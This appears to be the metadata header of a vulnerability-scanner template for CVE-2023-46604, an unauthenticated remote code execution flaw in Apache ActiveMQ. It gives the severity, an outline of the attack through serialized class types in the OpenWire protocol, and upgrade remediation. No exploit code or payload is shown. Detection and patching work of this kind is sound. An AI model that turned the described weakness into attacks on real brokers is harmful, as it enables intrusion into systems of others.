Apache ActiveMQ - Remote Code Execution

id: CVE-2023-46604

info:
  name: Apache ActiveMQ - Remote Code Execution
  author: Ice3man,Mzack9999,pdresearch
  severity: critical
  description: |
    Apache ActiveMQ is vulnerable to Remote Code Execution.The vulnerability may allow a remote attacker with network access to a broker to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.
    Users are recommended to upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3, which fixes this issue.
  impact: |
    Unauthenticated attackers can manipulate serialized class types in the OpenWire protocol to execute arbitrary shell commands, achieving complete broker compromise.
  remediation: |
    Upgrade Apache ActiveMQ to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 or later that fixes the unsafe deserialization issue.
